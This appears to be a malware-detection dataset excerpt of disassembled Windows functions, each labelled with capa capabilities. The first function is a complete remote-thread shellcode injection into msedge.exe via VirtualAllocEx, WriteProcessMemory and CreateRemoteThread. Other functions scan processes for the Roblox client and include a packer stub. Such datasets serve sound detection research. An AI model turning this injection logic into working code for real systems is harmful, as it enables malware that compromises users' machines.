joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400010c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
sub rsp, 0x78
lea rax, str.msedge.exe
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call section..text
mov dword [rsp + 0x40], eax
cmp dword [rsp + 0x40], 0
jne 0x1400010ef
mov eax, 1
jmp 0x140001261
mov r8d, dword [rsp + 0x40]
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
jne 0x140001118
mov eax, 1
jmp 0x140001261
mov eax, dword [0x14001a1b4]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000115e
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001261
mov eax, dword [0x14001a1b4]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, section..data
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1400011b9
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001261
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x140001220
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
jmp 0x140001261
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x78
ret

Function at 0x140001cfc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001d46
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001d46
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001d46
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001d46
cmp dword [rcx + 0x84], 0xe
jbe 0x140001d46
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001d48
xor al, al
add rsp, 0x28
ret

Function at 0x140005f84
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140005d80
Function at 0x14000904c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000907c
xor eax, eax
jmp 0x14000913f
mov rbp, rbx
cmp word [rax], si
je 0x1400090a1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x140009088
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x140009084
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140008f6c
movsxd r14, eax
test eax, eax
jne 0x1400090df
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x140009075
mov rcx, r14
call fcn.140009f28
mov rdi, rax
test rax, rax
jne 0x1400090f8
xor ecx, ecx
call fcn.1400075cc
jmp 0x1400090d4
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140008f6c
test eax, eax
jne 0x140009129
mov rcx, rdi
call fcn.1400075cc
jmp 0x140009133
xor ecx, ecx
call fcn.1400075cc
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x14000c630
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000803c
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14000c6ba
cmp byte [rbp - 0x21], r15b
je 0x14000c6b5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14000c6f0
call fcn.14000a738
test eax, eax
jne 0x14000c6dc
cmp byte [rbp - 0x21], r15b
je 0x14000c6d4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14000c6f0
cmp byte [rbp - 0x21], r15b
je 0x14000c6ed
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000761c
test eax, eax
jne 0x14000c790
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000803c
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14000c72f
cmp byte [rbp - 0x21], r15b
je 0x14000c764
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14000c764
call fcn.14000a738
test eax, eax
jne 0x14000c750
cmp byte [rbp - 0x21], r15b
je 0x14000c749
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14000c764
cmp byte [rbp - 0x21], r15b
je 0x14000c761
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000761c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14000c790
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14000c793
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14000c7a1
mov rcx, rdi
call fcn.1400075cc
cmp byte [rbp + 0x3f], r15b
je 0x14000c7b0
mov rcx, qword [rbp + 0x27]
call fcn.1400075cc
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x14000f5e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14000f608
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x14000f608
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400015e0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
mov eax, 0x1250
call fcn.140005110
sub rsp, rax
mov rax, qword [0x14000a040]
xor rax, rsp
mov qword [rsp + 0x1240], rax
lea r8, [rsp + 0x28]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x1400016fe
mov ebp, dword [rsp + 0x28]
xor edi, edi
shr ebp, 2
test ebp, ebp
je 0x1400016fe
lea rsi, [rsp + 0x30]
mov ebx, dword [rsi]
test ebx, ebx
je 0x1400016f0
movups xmm0, xmmword [str._unknown_]
mov eax, dword [0x1400067b0]
lea rcx, [rsp + 0x1044]
xor edx, edx
mov dword [rsp + 0x1040], eax
mov r8d, 0x1f4
movaps xmmword [rsp + 0x1030], xmm0
call sub.VCRUNTIME140.dll_memset
mov r8d, ebx
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x1400016ce
lea r9, [rsp + 0x2c]
mov r8d, 8
lea rdx, [rsp + 0x20]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
je 0x1400016ce
mov rdx, qword [rsp + 0x20]
lea r8, [rsp + 0x1030]
mov r9d, 0x208
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameW]
lea rdx, [rsp + 0x1030]
lea rcx, str.RobloxPlayerBeta.exe
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
mov rcx, rbx
test eax, eax
je 0x140001729
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
add rsi, 4
cmp edi, ebp
jb 0x140001642
xor al, al
mov rcx, qword [rsp + 0x1240]
xor rcx, rsp
call fcn.1400042c0
lea r11, [rsp + 0x1250]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x140001700
Function at 0x140003d4c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140003d86
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x140003d8b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140003dd4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x140006490]
cmp byte [rcx + rax], 0
je 0x140003dd4
dec r8
sub rdx, 1
jne 0x140003dba
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140004d24
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004d6e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004d6e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004d6e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004d6e
cmp dword [rcx + 0x84], 0xe
jbe 0x140004d6e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004d70
xor al, al
add rsp, 0x28
ret
Function at 0x140011280
Capabilities:
Terminate process

Disassembly:
jmp 0x140018c40
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x14001131b
Capabilities:
Parse pe header

Disassembly:
jmp 0x140019f90
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140019fb0
xor al, al
jmp 0x14001a031
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140019fc3
xor al, al
jmp 0x14001a031
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140019fed
xor al, al
jmp 0x14001a031
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14001a001
xor al, al
jmp 0x14001a031
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14001a013
xor al, al
jmp 0x14001a031
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001a02f
xor al, al
jmp 0x14001a031
mov al, 1
add rsp, 0x38
ret
Function at 0x633060
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x63306d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x63307d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x633065
lea eax, [rcx + 1]
jmp 0x63308b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x63309e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x633084
sub eax, 3
jb 0x6330be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x63310d
sar eax, 1
movsxd rbp, eax
jb 0x6330f4
jmp 0x6330cc
add ebx, ebx
jne 0x6330ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x6330f4
inc ecx
add ebx, ebx
jne 0x6330da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x6330f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x6330ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x6330dc
add ecx, 2
jmp 0x6330f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.00633022
jmp 0x63306d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x82e00
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x633159
cmp rsi, rcx
jae 0x633161
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x633140
cmp al, 0x8f
ja 0x633140
cmp byte [rsi - 2], 0xf
je 0x633146
sub al, 0xe8
cmp al, 1
ja 0x63312a
cmp rsi, rcx
jae 0x633161
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x633130
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x633161
lodsb al, byte [rsi]
jmp 0x633140
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x22f000]
mov eax, dword [rdi]
or eax, eax
je 0x6331be
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x233000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x63316e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x6331b8
mov qword [rbx], rax
add rbx, 8
jmp 0x63318e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x6331f8
cmp al, 0xef
ja 0x6331ea
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x6331ca
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x6331d9
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x63324c
sub rsp, 0xffffffffffffff80
jmp 0x45e520
Function at 0x1400024d0
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
sub rsp, 0x20
lea rbx, [0x140001150]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001138]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007070], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001160]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007068], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001178]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007060], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001198]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007058], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011b0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007050], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007048], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011f4]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007040], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x1400011fc]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007038], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001204]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007030], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x14000120c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007028], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001214]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007020], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x14000121c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007018], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001224]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007010], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x14000122c]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rbx
mov qword [0x140007008], rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea rdx, [0x140001234]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [section..data], rax
add rsp, 0x20
pop rbx
ret
Function at 0x140002948
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
movsxd rax, dword [rcx + 0x3c]
xor r12d, r12d
mov rbx, rcx
mov edi, r12d
cmp dword [rax + rcx + 0x8c], r12d
je 0x1400029d3
mov esi, dword [rax + rcx + 0x88]
mov ebp, r12d
add rsi, rcx
mov r14d, dword [rsi + 0x1c]
mov r15d, dword [rsi + 0x20]
add r14, rcx
add r15, rcx
cmp dword [rsi + 0x14], r12d
jbe 0x1400029d3
mov eax, ebp
lea rdx, [0x1400016d4]
mov ecx, dword [r15 + rax*4]
add rcx, rbx
call qword [0x140007028]
test eax, eax
je 0x1400029c0
inc ebp
cmp ebp, dword [rsi + 0x14]
jb 0x14000299d
jmp 0x1400029d3
mov ecx, dword [rsi + 0x24]
mov edx, ebp
add rcx, rbx
movzx eax, word [rcx + rdx*2]
mov edi, dword [r14 + rax*4]
add rdi, rbx
call fcn.140003c14
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
sub eax, dword [0x140007080]
mov rsi, qword [rsp + 0x50]
cmp eax, 0x7fff
cmova rdi, r12
mov rax, rdi
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140003734
Capabilities:
Check os version
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rdi, rcx
lea rcx, [rbp - 0x80]
mov dword [rbp - 0x80], 0x11c
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rbp - 0x7c], 6
jb 0x140003772
mov eax, 2
jmp 0x140003849
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
xor ebx, ebx
xor ecx, ecx
lea rdx, [rsp + 0x20]
mov r8d, 0x30
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x14000380f
mov ecx, dword [rsp + 0x78]
mov rax, qword [rsp + 0x20]
xor edx, edx
div rcx
test rdx, rdx
jne 0x1400037df
cmp qword [rsp + 0x38], 0x1000
jne 0x1400037df
cmp dword [rsp + 0x40], 0x1000
jne 0x1400037df
cmp dword [rsp + 0x48], 0x20000
jne 0x1400037df
cmp dword [rsp + 0x44], 4
jne 0x1400037df
movabs rax, 0x74636a6e696d7678
cmp qword [rbx], rax
je 0x1400037f6
add rbx, qword [rsp + 0x38]
cmp rbx, 0x7fff0000
jae 0x140003768
mov rcx, rbx
jmp 0x140003781
mov r8d, 0x20
mov rdx, rbx
mov rcx, rdi
call qword [0x140007040]
mov eax, 1
jmp 0x140003849
lea rdx, [0x1400013c0]
call fcn.140002804
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0xa
mov edx, eax
call fcn.140002760
lea rdx, [0x1400013d4]
call fcn.140002804
mov r8d, 0x10
mov edx, ebx
call fcn.140002760
xor eax, eax
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x140003864
Capabilities:
Accept command line arguments
Read file via mapping

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea rdx, [0x1400012e8]
mov rcx, rax
call qword [0x140007010]
xor r13d, r13d
mov rdi, rax
test rax, rax
je 0x1400038c9
lea r14d, [r13 + 0x20]
add rdi, 0x2a
mov edx, r14d
mov rcx, rdi
call qword [0x140007008]
test rax, rax
jne 0x1400038e8
lea rdx, [0x140001318]
call fcn.140002804
xor al, al
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
sub rax, rdi
sar rax, 1
cmp rax, 2
jae 0x14000390b
lea rdx, [0x140001330]
call fcn.140002804
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rdx, rax
jmp 0x1400038c4
lea rsi, [rax + rax]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea r8, [rsi + 2]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
jne 0x140003935
lea rdx, [0x140001348]
jmp 0x1400038c4
mov r8, rsi
mov rdx, rdi
mov rcx, rax
call qword [0x140007040]
xor edx, edx
mov r8, r15
lea ecx, [rdx + 4]
mov word [rsi + r15], r13w
call qword [sym.imp.KERNEL32.dll_OpenFileMappingW]
mov r12, rax
test rax, rax
jne 0x140003983
lea rdx, [0x140001360]
call fcn.140002804
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, 0xa
mov edx, eax
call fcn.140002760
jmp 0x1400038c9
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
lea edx, [r9 + 4]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x1400039ac
lea rdx, [0x140001378]
jmp 0x140003966
mov r8, r14
mov rdx, rax
mov rcx, rbp
call qword [0x140007040]
call fcn.140003b2c
mov rsi, rax
test rax, rax
je 0x1400038c9
mov eax, dword [rdi + 0x20]
lea rdx, [rbp + 0x18]
mov rcx, rsi
mov dword [rsp + 0x68], eax
call fcn.140003ac0
test al, al
je 0x1400038c9
lea rdx, [rsp + 0x68]
mov rcx, rsi
call fcn.140003ac0
test al, al
je 0x1400038c9
movsxd rcx, dword [rbp + 0x18]
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 2]
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov r14, rax
test rax, rax
jne 0x140003a29
lea rdx, [0x140001390]
jmp 0x140003966
mov eax, dword [rdi + 0x24]
lea rbx, [rdi + 0x28]
lea rbp, [rbx + rax*4]
jmp 0x140003a4f
mov edx, dword [rbx]
mov rcx, rsi
add rdx, r14
call fcn.140003ac0
test al, al
je 0x1400038c9
add rbx, 4
cmp rbx, rbp
jne 0x140003a36
movsxd rbx, dword [rsp + 0x68]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetEvent]
test eax, eax
jne 0x140003a72
lea rdx, [0x1400013a8]
jmp 0x140003966
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
jmp 0x1400038cb
Function at 0x140003bd0
Capabilities:
Set environment variable

Disassembly:
sub rsp, 0x448
xor eax, eax
mov rdx, rcx
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x434], eax
mov word [rsp + 0x20], ax
call fcn.1400026e0
lea rdx, [rsp + 0x20]
lea rcx, [0x140001290]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
